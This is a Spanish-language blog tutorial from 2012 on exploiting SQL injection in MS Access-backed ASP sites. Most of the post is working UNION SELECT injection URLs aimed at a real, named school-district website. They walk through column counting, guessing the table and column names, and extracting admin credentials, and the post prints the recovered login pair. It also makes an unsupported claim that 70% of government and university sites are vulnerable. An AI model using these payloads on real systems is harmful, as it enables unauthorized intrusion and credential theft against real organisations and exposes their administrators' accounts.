sábado, 13 de octubre de 2012

Exploiting MS Access Sql Injection





INTRODUCCIÓN:

En esta entrada se describirá cómo aprovechar las vulnerabilidades de SQL Injection cuando la base de datos back-end es MS Access. Mayormente esta vulnerabilidad se puede encontrar en los servidores programados en .asp 

Access se conoce como un sistema de base de datos de escritorio, ya que las funciones están destinadas a ser ejecutado desde un único equipo. Esto está en contraste con una aplicación de base de datos de servidor (por ejemplo, SQL Server), que está destinado a ser instalado en un servidor.

Aunque las aplicaciones web creadas por Microsoft Access no son muy populares hoy en día  todavía es posible encontrar algunas webs vulnerable a este ataque.

DEMOSTRACIÓN:

Syntax Error Message

Diferentes mensajes de error se pueden encontrar durante las pruebas para identificar esta vulnerabilidad, dependiendo de la plataforma web especifica. Por ejemplo:

Apache (PHP)
Fatal error: Uncaught exception 'com_exception' with message
'Source: Microsoft JET Database Engine Description: [...]

IIS (ASP)
Microsoft JET Database Engine error '80040e14'

Seguidamente, procederemos a explotar dicho error con unos simples parámetros.

Para tal caso, usare el siguiente sitio web:

¿Como sabemos si es vulnerable? muy fácil, simplemente colocamos un ' o " al final del valor. 
Inmediatamente recibiremos el error: 80040e14


Existen algunas personas que no tienen conocimiento sobre porque ocurre este error.

Simple explicación:

El programador de la web espera o piensa que solamente usaremos números o letras, por ejemplo:

  • id=1
  • id=2
  • id=3
  • cat_id=index
  • cat_id=cars

Pero simplemente no espera que usemos signos, por ejemplo, si colocamos al final del valor el signo @ el error se mostrara al igual que cuando colocamos el ' y "

Ahora que sabemos que el sitio web es vulnerable, procederemos a tratar de saber cuantas columnas existen, para ello haremos lo siguiente:

Usaremos +order+by+ y empezaremos a enumerar, por ejemplo: +order+by+1 order+by+2 y así sucesivamente hasta que la pagina nos muestre un error.

En este caso he llegado hasta order+by+68 por lo que muestra el error: 80004005


¿Por que se produce este error

Se produce porque en este caso no existen 68 columnas en la tabla, entonces es lógico que solo existen 67, para ello colocaremos +order+by+67 


La web se muestra perfectamente, esto quiere decir que existen 67 columnas.

Cabe resaltar que en este ataque los signos -- no existen, así que utilizaremos el null-byte (% 00)

Seguidamente utilizaremos el +UNION+SELECT+ el valor de la columna enumerada y el % 00  por lo que quedaría de la siguiente manera.

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67% 00


Nos mostrara el error: Query input must contain at least one table or query ("Entrada de consulta debe contener al menos una tabla o consulta.")

Es un error, pero significa que está corriendo a la cantidad de columnas, entonces quiere decir que vamos bien :)

Para proseguir en este ataque, tenemos que adivinar las tablas y columnas, entonces tenemos que usar un poco la imaginación ya que no todas las webs tienen tablas o columnas con el mismo nombre, por ejemplo si queremos enumerar datos administrativos, colocaremos login, users o admin de la siguiente manera:

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67 from login% 00


Mostrara un error indiciando lo siguiente: El motor de base de datos Microsoft Jet no puede encontrar la tabla de entrada o consulta 'login'. Asegúrese de que existe y que su nombre está escrito correctamente.

Entonces como login no existe, intentare colocando admin, de la siguiente manera:

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67 from admin% 00





Inmediatamente la pagina carga normal, por lo que la tabla admin existe e indica que la columna 4 es vulnerable y nos permite inyectar allí.

De igual manera, tenemos que adivinar columnas e inyectaremos de la siguiente manera:

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67 from admin% 00
Muestra error, columna username no existe, intentaremos con otra.

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,admin_id,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67 from admin% 00
No muestra error, columna admin_id si existe.

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,admin_login,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67 from admin% 00
No muestra error, columna admin_login si existe.

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,admin_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67 from admin% 00
Muestra error, columna admin_pass no existe.

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,admin_password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67 from admin% 00
No muestra error, columna admin_password si existe.


Se ha obtenido las siguientes columnas: admin_id, admin_login y admin_password.

Cabe resaltar que en este ataque no podemos usar concat() por lo que usaremos %26

Entonces, para obtener todos los datos de las columnas obtenidas, inyectaremos de la siguiente manera:

  • www.sdhc.k12.fl.us/Schools/School_Info.asp?Site=0151+UNION+SELECT+1,2,3,admin_id+%26+0x3a+%26+admin_password+%26+0x3a+%26+admin_login,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67+from+admin% 00



Se obtuvo los siguientes datos: Powell:Karin la cual indica que son los datos administrativos.


CONCLUSIÓN:

Actualmente el 70% de las paginas Gubernamentales y Universitarias de todo el mundo son vulnerables a este ataque.

MS Acesss Sql Injection se denomina una vulnerabilidad algo tedioso de explotar por las razones mencionadas lineas arriba.

Si esta vulnerabilidad esta vigente en alguna web de una entidad importante, se pide por favor, informar a los administradores inmediatamente.

Saludos.

No hay comentarios:

Publicar un comentario en la entrada